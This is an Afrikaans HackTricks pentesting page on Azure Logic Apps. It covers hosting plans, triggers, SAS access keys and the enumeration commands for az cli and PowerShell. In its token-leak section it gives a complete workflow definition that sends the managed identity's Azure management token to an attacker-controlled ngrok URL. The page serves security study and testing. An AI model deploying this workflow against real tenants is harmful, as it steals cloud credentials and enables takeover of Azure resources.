# Az - Logic Apps

{{#include ../../../banners/hacktricks-training.md}}

## Basiese Inligting

Azure Logic Apps stel ontwikkelaars in staat om **werkvloei te skep en te bestuur wat verskeie dienste**, databasisse en toepassings integreer. Hierdie werkvloei is ontwerp om **besigheidsprosesse te outomatiseer**, take te orkestreer en data-integrasies oor verskillende platforms uit te voer.

Logic Apps bied 'n **visuele ontwerper** om werkvloei te skep met 'n **wye verskeidenheid voorafgeboude koppelvlakke**, wat dit maklik maak om met verskeie dienste te verbind en te kommunikeer:

<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>

### Gasheeropsies

Daar is verskeie gasheeropsies:

* **Verbruik**
- **Multi-tenant**: Dit bied gedeelde rekenaarbronne, werk in die openbare wolk, en volg 'n betaal-per-operasie prysmodel. Dit is ideaal vir liggewig en kostedoeltreffende werklas. Dit is wat ons 'n "Enkele Werkvloei" sal noem.
* **Standaard**
- **Werkvloei Diensplan**: Dit bied toegewyde rekenaarbronne met VNET-integrasie vir netwerk en hef per werkvloei diensplan instansie. Dit is geskik vir meer veeleisende werklas wat groter beheer vereis.
- **App Service Omgewing V3:** Dit bied toegewyde rekenaarbronne met volle isolasie en skaalbaarheid. Dit integreer ook met VNET vir netwerk en gebruik 'n prysmodel gebaseer op App Service instansies binne die omgewing.
- **Hibriede:** Dit is ontwerp vir plaaslike verwerking en multi-wolk ondersteuning. Dit laat kliënt-bestuurde rekenaarbronne met plaaslike netwerktoegang toe en gebruik Kubernetes Event-Driven Autoscaling (KEDA). Dit staat op 'n Container App Connected Environment.

## "Enkele" Werkvloei / Verbruikplan

'n **werkvloei** is 'n gestruktureerde volgorde van outomatiese stappe of take wat 'n spesifieke proses of doelwit uitvoer. Dit definieer hoe verskillende aksies, voorwaardes en besluite met mekaar interaksie het om 'n gewenste uitkoms te bereik, wat operasies stroomlyn en handmatige moeite verminder.

> [!TIP]
> Die Verbruikplan laat **die skep van 'n enkele werkvloei sonder die behoefte aan 'n Logic App** self toe.

### Triggers & Aksies

Werkvloei triggers dui aan **wanneer die werkvloei moet begin**. Triggers kan 'n HTTP-eindpunt, 'n skedule, of tientalle verskillende gebeurtenisse van Azure of selfs eksterne toepassings wees.

Elke werkvloei het verskillende **aksies**. Hierdie aksies is die stappe wat die werkvloei volg. Afhangende van die aksie sal verskillende parameters beskikbaar wees om dit te konfigureer, soos:

- **Verbindingsnaam**: Verbinding om te gebruik waarmee die aksie sal interaksie hê.
- **Outentikasietipe:** Die verskillende opsies is Toegang Sleutel, Microsoft Entra ID, Geïntegreerde Dienshoof outentikasie en Logic Apps Beheerde Identiteit.
- Vanuit 'n Lees-Alleen perspektief is die **Outentikasie** data altyd interessant aangesien dit sensitiewe inligting kan bevat.
- Vanuit 'n Skryf perspektief is die **Outentikasie** data altyd interessant aangesien dit die gebruik van die toestemmings van die toegewyde bestuurde identiteite kan toelaat.
- ...

Aksies het ook verskeie **instellings**, wat afhang van die aksie self. Sommige van die mees algemene instellings is:

- **Hernuwingsbeleid**: Konfigureer die aantal hernuwing en die interval tussen hulle.
- **Tydsduur**: Stel die maksimum tyd in wat die aksie kan loop voordat dit tydsduur.
- **Voer Uit Na**: Spesifiseer die voorwaardes wat nagekom moet word voordat die aksie loop.
- **Schema Validasie**: Verseker dat inkomende data 'n vooraf gedefinieerde struktuur volg.
- **Netwerk**: Konfigureer hoe om verskillende koptekste te bestuur.
- **Veilige Insette/Uitsette**: Dit sal inset/uitset data van die loopgeskiedenis verberg.
- ...

### Outorisering Beleide

Hierdie werkvloei ondersteun **outorisering beleide** met Entra ID om versoek-gebaseerde triggers te beveilig deur 'n geldige toegangstoken te vereis. Hierdie token moet spesifieke aansprake insluit:
- Uitgever (iss) om die identiteitsverskaffer te verifieer
- Publiek (aud) om te verseker dat die token bedoel is vir die Logic App
- Onderwerp (sub) om die oproeper te identifiseer
- JWT ID (JSON Web Token identifiseerder)
- Aangepaste Aanspraak

Wanneer 'n versoek ontvang word, valideer Logic Apps die token teen hierdie aansprake en laat uitvoering toe slegs as hulle ooreenstem met die geconfigureerde beleid. Dit kan gebruik word om 'n ander tenant toe te laat om die werkvloei te aktiveer of om die aktivering van ander bronne te weier, byvoorbeeld net die aktivering toe te laat as dit van https://login.microsoftonline.com/ kom.

### Toegang Sleutels

Werkvloei **genereer 2 toegang sleutels** wanneer hulle geskep word. Hierdie sleutels word gebruik om versoeke aan die werkvloei te outentiseer en te autoriseer. Die sleutels word gebruik om 'n Gedeelde Toegang Handtekening (SAS) token te genereer, wat in die versoek-URL ingesluit word.

So, wanneer 'n HTTP-eindpunt trigger geskep word, word 'n **unieke HTTP-eindpunt met 'n SAS-handtekening** wat toestemming gee om die werkvloei aan te roep, gegenereer.

Hierdie **sleutels kan hergegenereer** word en 'n nuwe SAS-URL sal vir hierdie triggers geskep word, maar die **sleutelwaardes kan nie toegang verkry word** nie.

Voorbeeld van 'n SAS-URL om 'n trigger aan te roep:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Werkvloei Instellings & Komponente

- **Trigger toegang opsie**: Hierdie instelling laat jou toe om te beperk wie jou werkvloei kan trigger of begin. Die opsies is Enige IP, Slegs ander werkvloei en Spesifieke IP-reekse.
- **Integrasie rekening**: Koppel jou werkvloei aan 'n Integrasie Rekening.
- **Hoë deurset**: As aangeskakel, laat dit toe om meer versoeke vinnig parallel te hanteer.
- **Lopende geskiedenis behoud**: Dit dui die aantal dae aan om lopende geskiedenis te hou.
- **API verbindings**: Dit wys die verskillende API verbindings wat die werkvloei het. Binne elkeen van hierdie verbindings het hulle verskillende eienskappe en die moontlikheid om die API verbinding te wysig waar die Verifikasie tipe verander kan word.
- **Geskiedenis**: Dit het die opsie om toegang te verkry tot **geskiedenis** van ou uitvoerings en data te verkry: Instellings, Uitset, Parameters en die Kode.
- **Weergawes**: Dit het die opsie om toegang te verkry tot verskillende **weergawes** van die werkvloei, waar jy die kode kan nagaan en die huidige werkvloei met 'n ouer weergawe daarvan kan verander.
- **Geregeerde Identiteite**: Dit is moontlik om 1 stelsel geregeerde identiteit en bediener gebruiker geregeerde identiteit aan die werkvloei toe te ken.

### Lek MI toegangstokens

Die HTTP aksie in 'n werkvloei kan gebruik word om data na 'n eksterne web te stuur. In die **Geavanceerde parameters** van die HTTP aksie, is dit moontlik om die **Verifikasie Tipe** as **`Geregeerde identiteit`** te konfigureer en dan die **toegeken Geregeerde Identiteit** te kies om te gebruik (stelsel of gebruiker).

Boonop is dit moontlik om in die **`Audience`** die gehoor van die gegenereerde JWT aan te dui, wat byvoorbeeld **`https://management.azure.com/`** kan wees om die gegenereerde token te gebruik om toegang tot die Azure bestuur API te verkry.

> [!WARNING]
> Deur die aksie te laat die HTTP versoek na 'n bediener wat deur 'n aanvaller beheer word, is dit moontlik om die **toegangstoken van die geregeerde identiteit** wat aan die werkvloei toegeken is, te **lek**.

> [!TIP]
> 'n Aanvaller kan ook ander tipe aksies gebruik om **direk toegang tot ander Azure dienste** te verkry en aksies uit te voer met die regte van die geregeerde identiteit.

Dit is die kode van 'n werkvloei wat 'n HTTP eindpunt blootstel en dan 'n HTTP aksie gebruik om die toegangstoken na die geconfigureerde URL (ngrok in hierdie geval) te lek:

<details>
<summary>Werkvloei kode</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>

## Logika Apps / Standaard Plan

### Verskille met "Enkel" Werkvloei

Logika apps gebruik basies 'n App-diens in die agtergrond om **die logika-app te huisves wat verskeie werkvloei kan huisves**. Dit beteken dat die logika-app al die kenmerke van 'n App-diens en van die "Enkel" Werkvloei sal hê.

Sommige sleutelkenmerke sal wees:

- **App-diensplan**: Logika Apps in die Standaard plan word op 'n App-diensplan gehost, so dit is moontlik om al die App-diens kenmerke te gebruik soos:
- **Netwerkbeperkings**: Gee aan van waar dit toeganklik is.
- **Ontplooiingsentrum**: Ontplooi vanaf eksterne platforms soos Github, Bitbucket, Azure Repos, Eksterne Git en Plaaslike Git.
- **FTP-toegang**: Dit is moontlik om toegang te verkry tot die lêers van die Logika App deur FTP.
- **Stoorrekening**: Die diensapp gebruik 'n stoorrekening om inligting te stoor.
- **Omgewing veranderlikes & App-instellings**: Dit is moontlik om omgewing veranderlikes en app-instellings te konfigureer (en sensitiewe inligting soos toegangsleutels tot die stoorrekening te vind).
- ...
- **Parameters**: Parameters laat jou toe om waardes te bestuur wat oor ontwikkeling, toets en produksie wissel. Dit stel jou in staat om werkvloei eers te ontwerp, en dan maklik omgewing-spesifieke instellings later aan te pas.
- **Toegewydes Hulpbronne**: Logika Apps in die Standaard plan het toegewydes hulpbronne.
- **Meervoudige Werkvloei**: Dit laat jou toe om meervoudige werkvloei te skep.

Vir meer inligting oor App-dienste kyk:

{{#ref}}
../az-services/az-app-services.md
{{#endref}}


### Enumerasie

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp

# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>

# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"

# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"

# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"

# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"

# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"

```
{{#endtab }}
{{#endtabs }}

## Integrasie Rekeninge
**Integrasie Rekeninge** is 'n kenmerk van Azure Logic Apps. Integrasie Rekeninge word gebruik om ondernemingsvlak integrasies te fasiliteer deur gevorderde B2B vermoëns, soos EDI, AS2, en XML skema bestuur, moontlik te maak. Integrasie Rekeninge is 'n houer in Azure wat die volgende artefakte stoor wat vir Logic Apps gebruik word:

* **Skemas**: Bestuur XML skemas vir die validering en verwerking van boodskappe in jou integrasie rekening.
* **Kaarte**: Konfigureer XSLT-gebaseerde transformasies om data formate binne jou integrasie werksvloei te omskep.
* **Versamelings**: Bestuur integrasie rekening versamelings om logika en data verwerking te stroomlyn.
* **Sertifikate**: Hanteer sertifikate vir die enkriptering en ondertekening van boodskappe, wat veilige kommunikasie verseker.
* **Vennootskappe**: Bestuur handelsvennoot inligting vir B2B transaksies, wat naatlose integrasies moontlik maak.
* **Ooreenkomste**: Konfigureer reëls en instellings vir die uitruil van data met handelsvennote (bv. EDI, AS2).
* **Batch Konfigurasies**: Bestuur batch verwerking konfigurasies om boodskappe doeltreffend te groepeer en te verwerk.
* **RosettaNet PIP**: Konfigureer RosettaNet Vennoot Koppelvlak Prosesse (PIPs) om B2B kommunikasie te standaardiseer.

#### Enumerasie

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp

# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>

# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>

# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>

# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>

# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>

# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>

# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>

# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>

# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{{#endtab }}
{{#endtabs }}


## Privilege Escalation

Dieselfde as logika-apps privesc:

{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}

## Post Exploitation

{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}

## Persistence

{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
